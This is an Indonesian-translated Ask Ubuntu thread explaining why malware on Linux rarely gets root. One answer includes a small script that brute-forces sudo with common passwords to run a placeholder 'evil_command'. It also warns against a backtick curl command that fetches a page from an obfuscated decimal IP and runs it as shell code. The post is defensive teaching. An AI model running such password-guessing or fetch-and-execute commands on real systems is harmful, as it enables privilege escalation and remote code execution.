Bagaimana sistem tetap aman?

24

Saya mengerti bahwa jika ada malware yang masuk ke sistem Linux, ia akan, paling banyak, mendapatkan hak istimewa tingkat pengguna dan merusak apa pun dalam jangkauan pengguna tertentu, yaitu file milik pengguna.

Tapi apa sebenarnya yang mencegah malwares mendapatkan akses tingkat root? Bisakah itu entah bagaimana memecahkan kata sandi dari dalam?

Oxwivi
sumber
Pertanyaan dan jawaban yang bagus!
NlightNFotis

Jawaban:

20

Ini pertanyaan kompleks. Ada banyak lapisan keamanan yang berbeda dalam sistem Ubuntu, dari kerangka kerja yang kompleks seperti AppArmor hingga variabel kernel yang rendah hati mmap_min_addr. Anda dapat menambahkan beberapa fitur kernel seperti pengacakan memori dalam campuran. Anda dapat menemukan daftar mereka bersama dengan penjelasan cepat di Wiki Ubuntu .

Faktor penting lainnya adalah pembaruannya cepat dan mudah - sehingga kebanyakan komputer akan diperbarui ke perbaikan keamanan terakhir.

Sejauh yang saya tahu, seorang penyerang yang telah mendapatkan akses lokal ke komputer Anda memiliki tiga cara untuk menskalakan hak istimewa kernel:

  1. Pecahkan kata sandi. Tetapi ini akan sangat sulit, kata sandi disimpan dienkripsi, menggunakan algoritma tanpa cacat yang diketahui. Butuh waktu lama untuk memecahkannya.

  2. Bug di kernel. Tetapi semua fitur keamanan kernel akan menghalangi.

  3. Trik pengguna untuk memberikan kata sandi, yaitu rekayasa sosial. Cukup tampilkan dialog kata sandi palsu atau gunakan trik lain. Ini adalah cara termudah untuk melakukannya.

Poin ketiga adalah kerentanan terlemah saat ini.

Javier Rivera
sumber
5
Perhatikan bahwa "kata sandi" ini adalah kata sandi pengguna dengan hak akses sudo-to-root. Akun root dinonaktifkan secara default. # 3 memang hal yang paling mungkin terjadi. Selain itu, jika Anda menginstal repositori yang tidak terpercaya, Anda membagikan akun root gratis ke repositori itu.
Lekensteyn
@Lekensteyn, apa ?! Bagaimana cara menambahkan repo yang tidak tepercaya membagikan akses root? Ngomong-ngomong, Anda mungkin ingin mempostingnya sebagai jawaban, saya ingin utas ini menjadi semacam wiki komunitas.
Oxwivi
Tidak ada utas pada askubuntu, selain dari proses server. Anda baru saja memposting komentar untuk menjawab pertanyaan Anda . Saya telah menambahkan jawaban dengan bahan pertimbangan.
Lekensteyn
@Oxwivi Ketika Anda menambahkan PPA, dan menginstal paket, paket tersebut memiliki skrip sebelum dan sesudah yang dapat melakukan apa pun yang mereka inginkan. Itu juga dapat menginstal layanan untuk dijalankan sebagai root atau berantakan sudoers.
Reinstate Monica - ζ--
15

Memecahkan kata sandi root itu sendiri tidak dimungkinkan, karena Ubuntu secara default menonaktifkan pengguna root. Namun, jika pengguna Anda dapat menjadi root melalui sudo dan kata sandi Anda mudah ditebak / kasar, Anda memiliki sistem yang tidak aman. Contoh skrip mencoba menguji beberapa kata sandi:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Menambahkan repositori yang tidak terpercaya memungkinkan program dari repositori itu diinstal. Bahkan jika Anda tidak menginstal aplikasi seperti secara eksplisit sudo apt-get install [app-from-repo], repositori masih dapat mempengaruhi program lain dengan membuat Ubuntu percaya bahwa repositori berisi versi yang lebih baru dari suatu program tertentu.

Proses pembaruan dijalankan sebagai root, jika file tidak dapat ditulis ke /usr/binatau /etc. Pemicu instalasi juga dijalankan sebagai root dan dapat dijalankan secara sewenang-wenang, dan mungkin, perintah yang berbahaya. Sekarang, jangan khawatir, tindakan manual diperlukan untuk memperbarui program dan repositori Ubuntu aman. Perangkat lunak sumber tertutup seperti Windows tidak pernah dapat sepenuhnya dipercaya karena Anda tidak dapat memeriksa sumber untuk kode berbahaya, tetapi Anda dapat meninjau sumber aplikasi Ubuntu jika perlu (tidak berlaku untuk program seperti sun-java6atau Flash).

Seperti yang disebutkan oleh Javier Rivera, bug kernel dapat menyebabkan eksekusi kode arbitrer, tetapi perangkat lunak yang disadap mungkin berbahaya juga, terutama setsuidbinari root buggy (binari yang akan berjalan di bawah pemilik file, root) dan program buggy lainnya berjalan sebagai root.

Anda dapat membuat lubang keamanan pada sistem Anda jika Anda tidak memperhatikan apa yang Anda lakukan. Misalnya, tanpa sepenuhnya memahami konsep cronjobs, Anda telah menambahkan cronjob /etc/cron.dailyyang menjalankan program di folder rumah Anda (mis /bin/sh /home/your-username/myscript.sh. Jika file myscript.sh dapat ditulis oleh Anda dapat dihapus oleh Anda, eksploitasi dapat membahayakan kode myscript.shyang akan dijalankan sebagai root (hak istimewa eskalasi).

Agar tetap aman, gunakan pikiran Anda! Jangan menjalankan perintah dari sumber yang tidak dipercaya jika Anda tidak tahu apa fungsinya. Jika seseorang mengatakan lari `curl 3221233674`dengan kutu belakang, jangan lakukan. 3221233674 adalah cara lain untuk menulis 192.0.32.10(IP of example.com). Jadi, itu sama dengan:

`curl http://example.com/`

Kutu-balik itu menyebabkan output dieksekusi sebagai perintah shell. Dalam bahasa Inggris yang sederhana, "Unduh halaman http://example.com/ dan cobalah untuk mengeksekusi halaman yang diunduh".

Pada awalnya, Anda tidak akan melihat sesuatu yang berbahaya dalam perintah yang diberikan. Tapi sekarang, Anda tahu itu bisa disalahgunakan juga.

Selalu periksa perintah / skrip yang Anda dapatkan dari sumber yang tidak tepercaya, seperti Internet.

Lekensteyn
sumber
1
Terima kasih atas jawabannya, saya harap Anda tidak keberatan dengan suntingan saya. Perhatikan suntingan saya untuk meningkatkan bahasa Inggris Anda.
Oxwivi
2
Nah, saya tidak keberatan. Setiap perbaikan disambut :)
Lekensteyn
Bagaimanapun, ini adalah pos yang sangat baik, poin yang Anda sebutkan harus diperhatikan!
Oxwivi